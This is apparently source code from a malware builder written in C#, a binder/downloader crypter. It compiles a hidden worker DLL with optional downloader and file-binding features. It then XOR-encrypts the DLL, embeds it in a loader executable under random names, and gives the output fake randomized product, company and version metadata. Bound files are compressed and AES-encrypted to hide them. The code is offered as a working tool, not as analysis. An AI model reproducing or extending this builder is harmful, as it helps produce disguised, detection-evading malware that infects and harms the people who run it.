private void RandomizeAssembly() { asmDescriptionText.Text = WordGen.GenWord(10); asmProductNameText.Text = string.Format("{0}", WordGen.GenWord(2)); asmCopyrightText.Text = string.Format("{0} © {1}", WordGen.GenWord(2), WordGen.GenWord(2)); asmCompanyText.Text = WordGen.GenWord(5); asmVersionText.Text = string.Format("{0}.{1}.{2}.{3}", WordGen.R.Next(1, 20), WordGen.R.Next(0, 30), WordGen.R.Next(0, 99), WordGen.R.Next(0, 99)); }
private void button1_Click(object sender, EventArgs e) { SettingsFile sf = GetSettings(); using (SaveFileDialog sfd = new SaveFileDialog()) { sfd.Filter = "Application (.exe)|*.exe"; sfd.FileName = string.Format("{0}.exe", WordGen.GenWord(5)); if (sfd.ShowDialog() == DialogResult.OK) { new Thread(new ThreadStart(() => { Builder.Build(sf, sfd.FileName); })).Start(); } } }
private string GenerateBinderResources(SettingsFile settings, List <string> serSettings) { string resourceName = string.Format("{0}.resources", WordGen.GenWord(5)); using (ResourceWriter rw = new ResourceWriter(resourceName)) { foreach (BinderSetting ds in settings.BindFiles) { Dictionary <string, string> dic = ds.Dictionarize(); byte[] boundFile = File.ReadAllBytes(ds.FileName); if (settings.CompressFiles) { boundFile = QuickLz.Compress(boundFile); } if (settings.EncryptFiles) { using (RijndaelManaged rij = new RijndaelManaged()) { rij.GenerateKey(); rij.GenerateIV(); dic.Add("ek", Convert.ToBase64String(rij.Key)); //encryption key dic.Add("ei", Convert.ToBase64String(rij.IV)); //encryption iv using (ICryptoTransform ict = rij.CreateEncryptor()) { boundFile = ict.TransformFinalBlock(boundFile, 0, boundFile.Length); } } } string resKey = string.Format("{0}.dat", WordGen.GenWord(5)); dic.Add("r_k", resKey); rw.AddResource(resKey, boundFile); serSettings.Add(SerializeDictionary(dic)); } rw.Generate(); } return(resourceName); }
public bool Build(SettingsFile settings, string file) { List <string> loaderResources = new List <string>(); List <string> serSettings = new List <string>(); string defines = ""; if (settings.DownloadFiles.Count > 0) { Logger.LogInformation("Encoding downloader options..."); defines += "DOWNLOADER;"; foreach (DownloaderSetting ds in settings.DownloadFiles) { serSettings.Add(SerializeDictionary(ds.Dictionarize())); } } string dllSource = Properties.Resources.Worker; if (settings.BindFiles.Count > 0) { Logger.LogInformation("Encoding binder options..."); Logger.LogInformation("Generating binder resources..."); string binderResourceName = GenerateBinderResources(settings, serSettings); dllSource = dllSource.Replace("%RESNAME%", binderResourceName); loaderResources.Add(binderResourceName); defines += "BINDER;"; } dllSource = dllSource.Replace("/*SERIALIZED_SETTINGS*/", WriteSettingsList(serSettings, "options")); /*SERIALIZED_SETTINGS*/ if (settings.CompressFiles) { defines += "COMPRESSION;"; } if (settings.EncryptFiles) { defines += "ENCRYPTION;"; } string outPath = string.Format("{0}.dll", WordGen.GenWord(5)); Logger.LogInformation("Compiling library..."); if (!Codedom.Compile(outPath, "cs", new string[] { dllSource }, null, defines, null, null, "library", 20)) { return(false); } byte[] dll = File.ReadAllBytes(outPath); File.Delete(outPath); string dllResourceName = string.Format("{0}.resources", WordGen.GenWord(5)); string dllResourceId = string.Format("{0}.dat", WordGen.GenWord(5)); Logger.LogInformation("Encrypting library..."); byte[] key = new byte[WordGen.R.Next(16, 24)]; WordGen.R.NextBytes(key); for (int i = 0; i < dll.Length; i++) { dll[i] = (byte)(dll[i] ^ key[i % key.Length]); } using (ResourceWriter rw = new ResourceWriter(dllResourceName)) { rw.AddResource(dllResourceId, dll); rw.Generate(); } loaderResources.Add(dllResourceName); string loaderSource = Properties.Resources.Loader; outPath = file; loaderSource = loaderSource.Replace("/*ASM_INFO*/", GenerateAssemblyInfoSource(settings)); loaderSource = loaderSource.Replace("%KEY%", Convert.ToBase64String(key)); loaderSource = loaderSource.Replace("%RESNAME%", dllResourceName); loaderSource = loaderSource.Replace("%RESID%", dllResourceId); Logger.LogInformation("Compiling loader..."); if (!Codedom.Compile(outPath, "cs", new string[] { loaderSource }, settings.IconPath, null, new string[] { "System.Drawing.dll", "System.Windows.Forms.dll" }, loaderResources.ToArray(), "winexe", 20)) { return(false); } Logger.LogSuccess("Done"); return(true); }